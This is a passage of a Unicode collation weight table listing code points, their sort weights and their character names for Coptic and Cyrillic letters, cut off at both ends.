[.1FE5.0020.0008] # GREEK CAPITAL LETTER SHO -2C81 ; [.1FE6.0020.0002] # COPTIC SMALL LETTER ALFA -2C80 ; [.1FE6.0020.0008] # COPTIC CAPITAL LETTER ALFA -2C83 ; [.1FE7.0020.0002] # COPTIC SMALL LETTER VIDA -2C82 ; [.1FE7.0020.0008] # COPTIC CAPITAL LETTER VIDA -2C85 ; [.1FE8.0020.0002] # COPTIC SMALL LETTER GAMMA -2C84 ; [.1FE8.0020.0008] # COPTIC CAPITAL LETTER GAMMA -2C87 ; [.1FE9.0020.0002] # COPTIC SMALL LETTER DALDA -2C86 ; [.1FE9.0020.0008] # COPTIC CAPITAL LETTER DALDA -2C89 ; [.1FEA.0020.0002] # COPTIC SMALL LETTER EIE -2C88 ; [.1FEA.0020.0008] # COPTIC CAPITAL LETTER EIE -2CB7 ; [.1FEB.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC EIE -2CB6 ; [.1FEB.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC EIE -2C8B ; [.1FEC.0020.0002] # COPTIC SMALL LETTER SOU -2C8A ; [.1FEC.0020.0008] # COPTIC CAPITAL LETTER SOU -2C8D ; [.1FED.0020.0002] # COPTIC SMALL LETTER ZATA -2C8C ; [.1FED.0020.0008] # COPTIC CAPITAL LETTER ZATA -2C8F ; [.1FEE.0020.0002] # COPTIC SMALL LETTER HATE -2C8E ; [.1FEE.0020.0008] # COPTIC CAPITAL LETTER HATE -2C91 ; [.1FEF.0020.0002] # COPTIC SMALL LETTER THETHE -2C90 ; [.1FEF.0020.0008] # COPTIC CAPITAL LETTER THETHE -2C93 ; [.1FF0.0020.0002] # COPTIC SMALL LETTER IAUDA -2C92 ; [.1FF0.0020.0008] # COPTIC CAPITAL LETTER IAUDA -2C95 ; [.1FF1.0020.0002] # COPTIC SMALL LETTER KAPA -2C94 ; [.1FF1.0020.0008] # COPTIC CAPITAL LETTER KAPA -2CE4 ; [.1FF1.0020.0004][.1FE6.0020.0004][.1FF0.0020.0004] # COPTIC SYMBOL KAI -2CB9 ; [.1FF2.0020.0002] # COPTIC SMALL LETTER DIALECT-P KAPA -2CB8 ; [.1FF2.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P KAPA -2C97 ; [.1FF3.0020.0002] # COPTIC SMALL LETTER LAULA -2C96 ; [.1FF3.0020.0008] # COPTIC CAPITAL LETTER LAULA -2C99 ; [.1FF4.0020.0002] # COPTIC SMALL LETTER MI -2C98 ; [.1FF4.0020.0008] # COPTIC CAPITAL LETTER MI -2C9B ; [.1FF5.0020.0002] # COPTIC SMALL LETTER NI -2C9A ; [.1FF5.0020.0008] # COPTIC CAPITAL LETTER NI -2CBB ; [.1FF6.0020.0002] # COPTIC SMALL LETTER DIALECT-P NI -2CBA ; [.1FF6.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P NI -2CBD ; [.1FF7.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC NI -2CBC ; [.1FF7.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC NI -2C9D ; [.1FF8.0020.0002] # COPTIC SMALL LETTER KSI -2C9C ; [.1FF8.0020.0008] # COPTIC CAPITAL LETTER KSI -2C9F ; [.1FF9.0020.0002] # COPTIC SMALL LETTER O -2C9E ; [.1FF9.0020.0008] # COPTIC CAPITAL LETTER O -2CA1 ; [.1FFA.0020.0002] # COPTIC SMALL LETTER PI -2CA0 ; [.1FFA.0020.0008] # COPTIC CAPITAL LETTER PI -2CA3 ; [.1FFB.0020.0002] # COPTIC SMALL LETTER RO -2CA2 ; [.1FFB.0020.0008] # COPTIC CAPITAL LETTER RO -2CA5 ; [.1FFC.0020.0002] # COPTIC SMALL LETTER SIMA -2CA4 ; [.1FFC.0020.0008] # COPTIC CAPITAL LETTER SIMA -2CA7 ; [.1FFD.0020.0002] # COPTIC SMALL LETTER TAU -2CA6 ; [.1FFD.0020.0008] # COPTIC CAPITAL LETTER TAU -2CA9 ; [.1FFE.0020.0002] # COPTIC SMALL LETTER UA -2CA8 ; [.1FFE.0020.0008] # COPTIC CAPITAL LETTER UA -2CAB ; [.1FFF.0020.0002] # COPTIC SMALL LETTER FI -2CAA ; [.1FFF.0020.0008] # COPTIC CAPITAL LETTER FI -2CAD ; [.2000.0020.0002] # COPTIC SMALL LETTER KHI -2CAC ; [.2000.0020.0008] # COPTIC CAPITAL LETTER KHI -2CAF ; [.2001.0020.0002] # COPTIC SMALL LETTER PSI -2CAE ; [.2001.0020.0008] # COPTIC CAPITAL LETTER PSI -2CB1 ; [.2002.0020.0002] # COPTIC SMALL LETTER OOU -2CB0 ; [.2002.0020.0008] # COPTIC CAPITAL LETTER OOU -2CBF ; [.2003.0020.0002] # COPTIC SMALL LETTER OLD COPTIC OOU -2CBE ; [.2003.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC OOU -2CC1 ; [.2004.0020.0002] # COPTIC SMALL LETTER SAMPI -2CC0 ; [.2004.0020.0008] # COPTIC CAPITAL LETTER SAMPI -03E3 ; [.2005.0020.0002] # COPTIC SMALL LETTER SHEI -03E2 ; [.2005.0020.0008] # COPTIC CAPITAL LETTER SHEI -2CEC ; [.2006.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC SHEI -2CEB ; [.2006.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI -2CC3 ; [.2007.0020.0002] # COPTIC SMALL LETTER CROSSED SHEI -2CC2 ; [.2007.0020.0008] # COPTIC CAPITAL LETTER CROSSED SHEI -2CC5 ; [.2008.0020.0002] # COPTIC SMALL LETTER OLD COPTIC SHEI -2CC4 ; [.2008.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC SHEI -2CC7 ; [.2009.0020.0002] # COPTIC SMALL LETTER OLD COPTIC ESH -2CC6 ; [.2009.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC ESH -03E5 ; [.200A.0020.0002] # COPTIC SMALL LETTER FEI -03E4 ; [.200A.0020.0008] # COPTIC CAPITAL LETTER FEI -03E7 ; [.200B.0020.0002] # COPTIC SMALL LETTER KHEI -03E6 ; [.200B.0020.0008] # COPTIC CAPITAL LETTER KHEI -2CF3 ; [.200C.0020.0002] # COPTIC SMALL LETTER BOHAIRIC KHEI -2CF2 ; [.200C.0020.0008] # COPTIC CAPITAL LETTER BOHAIRIC KHEI -2CC9 ; [.200D.0020.0002] # COPTIC SMALL LETTER AKHMIMIC KHEI -2CC8 ; [.200D.0020.0008] # COPTIC CAPITAL LETTER AKHMIMIC KHEI -03E9 ; [.200E.0020.0002] # COPTIC SMALL LETTER HORI -03E8 ; [.200E.0020.0008] # COPTIC CAPITAL LETTER HORI -2CCB ; [.200F.0020.0002] # COPTIC SMALL LETTER DIALECT-P HORI -2CCA ; [.200F.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P HORI -2CCD ; [.2010.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HORI -2CCC ; [.2010.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HORI -2CCF ; [.2011.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HA -2CCE ; [.2011.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HA -2CD1 ; [.2012.0020.0002] # COPTIC SMALL LETTER L-SHAPED HA -2CD0 ; [.2012.0020.0008] # COPTIC CAPITAL LETTER L-SHAPED HA -2CD3 ; [.2013.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HEI -2CD2 ; [.2013.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HEI -2CD5 ; [.2014.0020.0002] # COPTIC SMALL LETTER OLD COPTIC HAT -2CD4 ; [.2014.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC HAT -03EB ; [.2015.0020.0002] # COPTIC SMALL LETTER GANGIA -03EA ; [.2015.0020.0008] # COPTIC CAPITAL LETTER GANGIA -2CEE ; [.2016.0020.0002] # COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA -2CED ; [.2016.0020.0008] # COPTIC CAPITAL LETTER CRYPTOGRAMMIC GANGIA -2CD7 ; [.2017.0020.0002] # COPTIC SMALL LETTER OLD COPTIC GANGIA -2CD6 ; [.2017.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC GANGIA -03ED ; [.2018.0020.0002] # COPTIC SMALL LETTER SHIMA -03EC ; [.2018.0020.0008] # COPTIC CAPITAL LETTER SHIMA -2CD9 ; [.2019.0020.0002] # COPTIC SMALL LETTER OLD COPTIC DJA -2CD8 ; [.2019.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC DJA -2CDB ; [.201A.0020.0002] # COPTIC SMALL LETTER OLD COPTIC SHIMA -2CDA ; [.201A.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC SHIMA -2CDD ; [.201B.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN SHIMA -2CDC ; [.201B.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN SHIMA -03EF ; [.201C.0020.0002] # COPTIC SMALL LETTER DEI -03EE ; [.201C.0020.0008] # COPTIC CAPITAL LETTER DEI -2CB3 ; [.201D.0020.0002] # COPTIC SMALL LETTER DIALECT-P ALEF -2CB2 ; [.201D.0020.0008] # COPTIC CAPITAL LETTER DIALECT-P ALEF -2CB5 ; [.201E.0020.0002] # COPTIC SMALL LETTER OLD COPTIC AIN -2CB4 ; [.201E.0020.0008] # COPTIC CAPITAL LETTER OLD COPTIC AIN -2CDF ; [.201F.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN NGI -2CDE ; [.201F.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN NGI -2CE1 ; [.2020.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN NYI -2CE0 ; [.2020.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN NYI -2CE3 ; [.2021.0020.0002] # COPTIC SMALL LETTER OLD NUBIAN WAU -2CE2 ; [.2021.0020.0008] # COPTIC CAPITAL LETTER OLD NUBIAN WAU -0430 ; [.2022.0020.0002] # CYRILLIC SMALL LETTER A -2DF6 ; [.2022.0020.0004] # COMBINING CYRILLIC LETTER A -0410 ; [.2022.0020.0008] # CYRILLIC CAPITAL LETTER A -04D1 ; [.2022.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER A WITH BREVE -04D0 ; [.2022.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER A WITH BREVE -04D3 ; [.2022.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER A WITH DIAERESIS -04D2 ; [.2022.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER A WITH DIAERESIS -04D9 ; [.2026.0020.0002] # CYRILLIC SMALL LETTER SCHWA -04D8 ; [.2026.0020.0008] # CYRILLIC CAPITAL LETTER SCHWA -04DB ; [.2026.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER SCHWA WITH DIAERESIS -04DA ; [.2026.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER SCHWA WITH DIAERESIS -04D5 ; [.202A.0020.0002] # CYRILLIC SMALL LIGATURE A IE -04D4 ; [.202A.0020.0008] # CYRILLIC CAPITAL LIGATURE A IE -0431 ; [.202E.0020.0002] # CYRILLIC SMALL LETTER BE -2DE0 ; [.202E.0020.0004] # COMBINING CYRILLIC LETTER BE -0411 ; [.202E.0020.0008] # CYRILLIC CAPITAL LETTER BE -0432 ; [.2032.0020.0002] # CYRILLIC SMALL LETTER VE -1C80 ; [.2032.0020.0004] # CYRILLIC SMALL LETTER ROUNDED VE -2DE1 ; [.2032.0020.0004] # COMBINING CYRILLIC LETTER VE -0412 ; [.2032.0020.0008] # CYRILLIC CAPITAL LETTER VE -0433 ; [.2036.0020.0002] # CYRILLIC SMALL LETTER GHE -2DE2 ; [.2036.0020.0004] # COMBINING CYRILLIC LETTER GHE -0413 ; [.2036.0020.0008] # CYRILLIC CAPITAL LETTER GHE -0453 ; [.2036.0020.0002][.0000.0024.0002] # CYRILLIC SMALL LETTER GJE -0403 ; [.2036.0020.0008][.0000.0024.0002] # CYRILLIC CAPITAL LETTER GJE -0491 ; [.2036.0020.0004][.0000.0111.0004] # CYRILLIC SMALL LETTER GHE WITH UPTURN -0490 ; [.2036.0020.000A][.0000.0111.0004] # CYRILLIC CAPITAL LETTER GHE WITH UPTURN -0493 ; [.203A.0020.0002] # CYRILLIC SMALL LETTER GHE WITH STROKE -0492 ; [.203A.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH STROKE -04FB ; [.203E.0020.0002] # CYRILLIC SMALL LETTER GHE WITH STROKE AND HOOK -04FA ; [.203E.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH STROKE AND HOOK -0495 ; [.2042.0020.0002] # CYRILLIC SMALL LETTER GHE WITH MIDDLE HOOK -0494 ; [.2042.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH MIDDLE HOOK -04F7 ; [.2046.0020.0002] # CYRILLIC SMALL LETTER GHE WITH DESCENDER -04F6 ; [.2046.0020.0008] # CYRILLIC CAPITAL LETTER GHE WITH DESCENDER -0434 ; [.204A.0020.0002] # CYRILLIC SMALL LETTER DE -1C81 ; [.204A.0020.0004] # CYRILLIC SMALL LETTER LONG-LEGGED DE -2DE3 ; [.204A.0020.0004] # COMBINING CYRILLIC LETTER DE -0414 ; [.204A.0020.0008] # CYRILLIC CAPITAL LETTER DE -0501 ; [.204E.0020.0002] # CYRILLIC SMALL LETTER KOMI DE -0500 ; [.204E.0020.0008] # CYRILLIC CAPITAL LETTER KOMI DE -A681 ; [.204F.0020.0002] # CYRILLIC SMALL LETTER DWE -A680 ; [.204F.0020.0008] # CYRILLIC CAPITAL LETTER DWE -0452 ; [.2050.0020.0002] # CYRILLIC SMALL LETTER DJE -0402 ; [.2050.0020.0008] # CYRILLIC CAPITAL LETTER DJE -A663 ; [.2054.0020.0002] # CYRILLIC SMALL LETTER SOFT DE -A662 ; [.2054.0020.0008] # CYRILLIC CAPITAL LETTER SOFT DE -0503 ; [.2055.0020.0002] # CYRILLIC SMALL LETTER KOMI DJE -0502 ; [.2055.0020.0008] # CYRILLIC CAPITAL LETTER KOMI DJE -0499 ; [.2056.0020.0002] # CYRILLIC SMALL LETTER ZE WITH DESCENDER -0498 ; [.2056.0020.0008] # CYRILLIC CAPITAL LETTER ZE WITH DESCENDER -0435 ; [.205A.0020.0002] # CYRILLIC SMALL LETTER IE -2DF7 ; [.205A.0020.0004] # COMBINING CYRILLIC LETTER IE -0415 ; [.205A.0020.0008] # CYRILLIC CAPITAL LETTER IE -0450 ; [.205A.0020.0002][.0000.0025.0002] # CYRILLIC SMALL LETTER IE WITH GRAVE -0400 ; [.205A.0020.0008][.0000.0025.0002] # CYRILLIC CAPITAL LETTER IE WITH GRAVE -04D7 ; [.205A.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER IE WITH BREVE -04D6 ; [.205A.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER IE WITH BREVE -0451 ; [.205A.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER IO -0401 ; [.205A.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER IO -0454 ; [.205E.0020.0002] # CYRILLIC SMALL LETTER UKRAINIAN IE -A674 ; [.205E.0020.0004] # COMBINING CYRILLIC LETTER UKRAINIAN IE -0404 ; [.205E.0020.0008] # CYRILLIC CAPITAL LETTER UKRAINIAN IE -0436 ; [.2062.0020.0002] # CYRILLIC SMALL LETTER ZHE -2DE4 ; [.2062.0020.0004] # COMBINING CYRILLIC LETTER ZHE -0416 ; [.2062.0020.0008] # CYRILLIC CAPITAL LETTER ZHE -04C2 ; [.2062.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER ZHE WITH BREVE -04C1 ; [.2062.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER ZHE WITH BREVE -04DD ; [.2062.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER ZHE WITH DIAERESIS -04DC ; [.2062.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER ZHE WITH DIAERESIS -052B ; [.2066.0020.0002] # CYRILLIC SMALL LETTER DZZHE -052A ; [.2066.0020.0008] # CYRILLIC CAPITAL LETTER DZZHE -A685 ; [.2067.0020.0002] # CYRILLIC SMALL LETTER ZHWE -A684 ; [.2067.0020.0008] # CYRILLIC CAPITAL LETTER ZHWE -0497 ; [.2068.0020.0002] # CYRILLIC SMALL LETTER ZHE WITH DESCENDER -0496 ; [.2068.0020.0008] # CYRILLIC CAPITAL LETTER ZHE WITH DESCENDER -0437 ; [.206C.0020.0002] # CYRILLIC SMALL LETTER ZE -2DE5 ; [.206C.0020.0004] # COMBINING CYRILLIC LETTER ZE -0417 ; [.206C.0020.0008] # CYRILLIC CAPITAL LETTER ZE -04DF ; [.206C.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER ZE WITH DIAERESIS -04DE ; [.206C.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER ZE WITH DIAERESIS -A641 ; [.2070.0020.0002] # CYRILLIC SMALL LETTER ZEMLYA -A640 ; [.2070.0020.0008] # CYRILLIC CAPITAL LETTER ZEMLYA -0505 ; [.2071.0020.0002] # CYRILLIC SMALL LETTER KOMI ZJE -0504 ; [.2071.0020.0008] # CYRILLIC CAPITAL LETTER KOMI ZJE -0511 ; [.2072.0020.0002] # CYRILLIC SMALL LETTER REVERSED ZE -0510 ; [.2072.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED ZE -A643 ; [.2073.0020.0002] # CYRILLIC SMALL LETTER DZELO -A642 ; [.2073.0020.0008] # CYRILLIC CAPITAL LETTER DZELO -0455 ; [.2074.0020.0002] # CYRILLIC SMALL LETTER DZE -0405 ; [.2074.0020.0008] # CYRILLIC CAPITAL LETTER DZE -A645 ; [.2078.0020.0002] # CYRILLIC SMALL LETTER REVERSED DZE -A644 ; [.2078.0020.0008] # CYRILLIC CAPITAL LETTER REVERSED DZE -04E1 ; [.2079.0020.0002] # CYRILLIC SMALL LETTER ABKHASIAN DZE -04E0 ; [.2079.0020.0008] # CYRILLIC CAPITAL LETTER ABKHASIAN DZE -A689 ; [.207D.0020.0002] # CYRILLIC SMALL LETTER DZZE -A688 ; [.207D.0020.0008] # CYRILLIC CAPITAL LETTER DZZE -0507 ; [.207E.0020.0002] # CYRILLIC SMALL LETTER KOMI DZJE -0506 ; [.207E.0020.0008] # CYRILLIC CAPITAL LETTER KOMI DZJE -A683 ; [.207F.0020.0002] # CYRILLIC SMALL LETTER DZWE -A682 ; [.207F.0020.0008] # CYRILLIC CAPITAL LETTER DZWE -0438 ; [.2080.0020.0002] # CYRILLIC SMALL LETTER I -A675 ; [.2080.0020.0004] # COMBINING CYRILLIC LETTER I -0418 ; [.2080.0020.0008] # CYRILLIC CAPITAL LETTER I -045D ; [.2080.0020.0002][.0000.0025.0002] # CYRILLIC SMALL LETTER I WITH GRAVE -040D ; [.2080.0020.0008][.0000.0025.0002] # CYRILLIC CAPITAL LETTER I WITH GRAVE -04E5 ; [.2080.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER I WITH DIAERESIS -04E4 ; [.2080.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER I WITH DIAERESIS -04E3 ; [.2080.0020.0002][.0000.0032.0002] # CYRILLIC SMALL LETTER I WITH MACRON -04E2 ; [.2080.0020.0008][.0000.0032.0002] # CYRILLIC CAPITAL LETTER I WITH MACRON -048B ; [.2084.0020.0002] # CYRILLIC SMALL LETTER SHORT I WITH TAIL -048A ; [.2084.0020.0008] # CYRILLIC CAPITAL LETTER SHORT I WITH TAIL -0456 ; [.2088.0020.0002] # CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I -0406 ; [.2088.0020.0008] # CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I -0457 ; [.2088.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER YI -A676 ; [.2088.0020.0004][.0000.002B.0004] # COMBINING CYRILLIC LETTER YI -0407 ; [.2088.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER YI -A647 ; [.208C.0020.0002] # CYRILLIC SMALL LETTER IOTA -A646 ; [.208C.0020.0008] # CYRILLIC CAPITAL LETTER IOTA -0439 ; [.208D.0020.0002] # CYRILLIC SMALL LETTER SHORT I -0438 0306 ; [.208D.0020.0002] # CYRILLIC SMALL LETTER SHORT I -0419 ; [.208D.0020.0008] # CYRILLIC CAPITAL LETTER SHORT I -0418 0306 ; [.208D.0020.0008] # CYRILLIC CAPITAL LETTER SHORT I -0458 ; [.2091.0020.0002] # CYRILLIC SMALL LETTER JE -0408 ; [.2091.0020.0008] # CYRILLIC CAPITAL LETTER JE -A649 ; [.2095.0020.0002] # CYRILLIC SMALL LETTER DJERV -2DF8 ; [.2095.0020.0004] # COMBINING CYRILLIC LETTER DJERV -A648 ; [.2095.0020.0008] # CYRILLIC CAPITAL LETTER DJERV -043A ; [.2096.0020.0002] # CYRILLIC SMALL LETTER KA -2DE6 ; [.2096.0020.0004] # COMBINING CYRILLIC LETTER KA -041A ; [.2096.0020.0008] # CYRILLIC CAPITAL LETTER KA -045C ; [.2096.0020.0002][.0000.0024.0002] # CYRILLIC SMALL LETTER KJE -040C ; [.2096.0020.0008][.0000.0024.0002] # CYRILLIC CAPITAL LETTER KJE -049B ; [.209A.0020.0002] # CYRILLIC SMALL LETTER KA WITH DESCENDER -049A ; [.209A.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH DESCENDER -04C4 ; [.209E.0020.0002] # CYRILLIC SMALL LETTER KA WITH HOOK -04C3 ; [.209E.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH HOOK -04A1 ; [.20A2.0020.0002] # CYRILLIC SMALL LETTER BASHKIR KA -04A0 ; [.20A2.0020.0008] # CYRILLIC CAPITAL LETTER BASHKIR KA -049F ; [.20A6.0020.0002] # CYRILLIC SMALL LETTER KA WITH STROKE -049E ; [.20A6.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH STROKE -049D ; [.20AA.0020.0002] # CYRILLIC SMALL LETTER KA WITH VERTICAL STROKE -049C ; [.20AA.0020.0008] # CYRILLIC CAPITAL LETTER KA WITH VERTICAL STROKE -051F ; [.20AE.0020.0002] # CYRILLIC SMALL LETTER ALEUT KA -051E ; [.20AE.0020.0008] # CYRILLIC CAPITAL LETTER ALEUT KA -051B ; [.20AF.0020.0002] # CYRILLIC SMALL LETTER QA -051A ; [.20AF.0020.0008] # CYRILLIC CAPITAL LETTER QA -043B ; [.20B0.0020.0002] # CYRILLIC SMALL LETTER EL -2DE7 ; [.20B0.0020.0004] # COMBINING CYRILLIC LETTER EL -041B ; [.20B0.0020.0008] # CYRILLIC CAPITAL LETTER EL -1D2B ; [.20B4.0020.0002] # CYRILLIC LETTER SMALL CAPITAL EL -04C6 ; [.20B5.0020.0002] # CYRILLIC SMALL LETTER EL WITH TAIL -04C5 ; [.20B5.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH TAIL -052F ; [.20B9.0020.0002] # CYRILLIC SMALL LETTER EL WITH DESCENDER -052E ; [.20B9.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH DESCENDER -0513 ; [.20BA.0020.0002] # CYRILLIC SMALL LETTER EL WITH HOOK -0512 ; [.20BA.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH HOOK -0521 ; [.20BB.0020.0002] # CYRILLIC SMALL LETTER EL WITH MIDDLE HOOK -0520 ; [.20BB.0020.0008] # CYRILLIC CAPITAL LETTER EL WITH MIDDLE HOOK -0459 ; [.20BC.0020.0002] # CYRILLIC SMALL LETTER LJE -0409 ; [.20BC.0020.0008] # CYRILLIC CAPITAL LETTER LJE -A665 ; [.20C0.0020.0002] # CYRILLIC SMALL LETTER SOFT EL -A664 ; [.20C0.0020.0008] # CYRILLIC CAPITAL LETTER SOFT EL -0509 ; [.20C1.0020.0002] # CYRILLIC SMALL LETTER KOMI LJE -0508 ; [.20C1.0020.0008] # CYRILLIC CAPITAL LETTER KOMI LJE -0515 ; [.20C2.0020.0002] # CYRILLIC SMALL LETTER LHA -0514 ; [.20C2.0020.0008] # CYRILLIC CAPITAL LETTER LHA -043C ; [.20C3.0020.0002] # CYRILLIC SMALL LETTER EM -2DE8 ; [.20C3.0020.0004] # COMBINING CYRILLIC LETTER EM -041C ; [.20C3.0020.0008] # CYRILLIC CAPITAL LETTER EM -04CE ; [.20C7.0020.0002] # CYRILLIC SMALL LETTER EM WITH TAIL -04CD ; [.20C7.0020.0008] # CYRILLIC CAPITAL LETTER EM WITH TAIL -A667 ; [.20CB.0020.0002] # CYRILLIC SMALL LETTER SOFT EM -A666 ; [.20CB.0020.0008] # CYRILLIC CAPITAL LETTER SOFT EM -043D ; [.20CC.0020.0002] # CYRILLIC SMALL LETTER EN -2DE9 ; [.20CC.0020.0004] # COMBINING CYRILLIC LETTER EN -041D ; [.20CC.0020.0008] # CYRILLIC CAPITAL LETTER EN -1D78 ; [.20CC.0020.0014] # MODIFIER LETTER CYRILLIC EN -0529 ; [.20D0.0020.0002] # CYRILLIC SMALL LETTER EN WITH LEFT HOOK -0528 ; [.20D0.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH LEFT HOOK -04CA ; [.20D1.0020.0002] # CYRILLIC SMALL LETTER EN WITH TAIL -04C9 ; [.20D1.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH TAIL -04A3 ; [.20D5.0020.0002] # CYRILLIC SMALL LETTER EN WITH DESCENDER -04A2 ; [.20D5.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH DESCENDER -04C8 ; [.20D9.0020.0002] # CYRILLIC SMALL LETTER EN WITH HOOK -04C7 ; [.20D9.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH HOOK -0523 ; [.20DD.0020.0002] # CYRILLIC SMALL LETTER EN WITH MIDDLE HOOK -0522 ; [.20DD.0020.0008] # CYRILLIC CAPITAL LETTER EN WITH MIDDLE HOOK -04A5 ; [.20DE.0020.0002] # CYRILLIC SMALL LIGATURE EN GHE -04A4 ; [.20DE.0020.0008] # CYRILLIC CAPITAL LIGATURE EN GHE -045A ; [.20E2.0020.0002] # CYRILLIC SMALL LETTER NJE -040A ; [.20E2.0020.0008] # CYRILLIC CAPITAL LETTER NJE -050B ; [.20E6.0020.0002] # CYRILLIC SMALL LETTER KOMI NJE -050A ; [.20E6.0020.0008] # CYRILLIC CAPITAL LETTER KOMI NJE -043E ; [.20E7.0020.0002] # CYRILLIC SMALL LETTER O -1C82 ; [.20E7.0020.0004] # CYRILLIC SMALL LETTER NARROW O -2DEA ; [.20E7.0020.0004] # COMBINING CYRILLIC LETTER O -A669 ; [.20E7.0020.0004] # CYRILLIC SMALL LETTER MONOCULAR O -A66B ; [.20E7.0020.0004] # CYRILLIC SMALL LETTER BINOCULAR O -A66D ; [.20E7.0020.0004] # CYRILLIC SMALL LETTER DOUBLE MONOCULAR O -A66E ; [.20E7.0020.0004] # CYRILLIC LETTER MULTIOCULAR O -A699 ; [.20E7.0020.0004] # CYRILLIC SMALL LETTER DOUBLE O -A69B ; [.20E7.0020.0004] # CYRILLIC SMALL LETTER CROSSED O -041E ; [.20E7.0020.0008] # CYRILLIC CAPITAL LETTER O -A668 ; [.20E7.0020.000A] # CYRILLIC CAPITAL LETTER MONOCULAR O -A66A ; [.20E7.0020.000A] # CYRILLIC CAPITAL LETTER BINOCULAR O -A66C ; [.20E7.0020.000A] # CYRILLIC CAPITAL LETTER DOUBLE MONOCULAR O -A698 ; [.20E7.0020.000A] # CYRILLIC CAPITAL LETTER DOUBLE O -A69A ; [.20E7.0020.000A] # CYRILLIC CAPITAL LETTER CROSSED O -04E7 ; [.20E7.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER O WITH DIAERESIS -04E6 ; [.20E7.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER O WITH DIAERESIS -04E9 ; [.20EB.0020.0002] # CYRILLIC SMALL LETTER BARRED O -04E8 ; [.20EB.0020.0008] # CYRILLIC CAPITAL LETTER BARRED O -04EB ; [.20EB.0020.0002][.0000.002B.0002] # CYRILLIC SMALL LETTER BARRED O WITH DIAERESIS -04EA ; [.20EB.0020.0008][.0000.002B.0002] # CYRILLIC CAPITAL LETTER BARRED O WITH DIAERESIS -043F ; [.20EF.0020.0002] # CYRILLIC SMALL LETTER PE -2DEB ; [.20EF.0020.0004] # COMBINING CYRILLIC LETTER PE -041F ; [.20EF.0020.0008] # CYRILLIC CAPITAL LETTER PE -0525 ; [.20F3.0020.0002] # CYRILLIC SMALL LETTER PE WITH DESCENDER -0524 ; [.20F3.0020.0008] # CYRILLIC CAPITAL LETTER PE WITH DESCENDER -04A7 ; [.20F4.0020.0002] # CYRILLIC SMALL LETTER PE WITH MIDDLE HOOK -04A6 ; [.20F4.0020.0008] # CYRILLIC CAPITAL LETTER PE WITH MIDDLE HOOK -0481 ; [.20F8.0020.0002] # CYRILLIC SMALL LETTER KOPPA -0480 ; [.20F8.0020.0008] # CYRILLIC CAPITAL LETTER KOPPA -0440 ; [.20FC.0020.0002] # CYRILLIC SMALL LETTER ER -2DEC ; [.20FC.0020.0004] # COMBINING CYRILLIC LETTER ER -0420 ; [.20FC.0020.0008] # CYRILLIC CAPITAL LETTER ER -048F ; [.2100.0020.0002] # CYRILLIC SMALL LETTER ER WITH TICK -048E ; [.2100.0020.0008] # CYRILLIC CAPITAL LETTER ER WITH TICK -0517 ; [.2104.0020.0002] # CYRILLIC SMALL LETTER RHA -0516 ; [.2104.0020.0008] # CYRILLIC 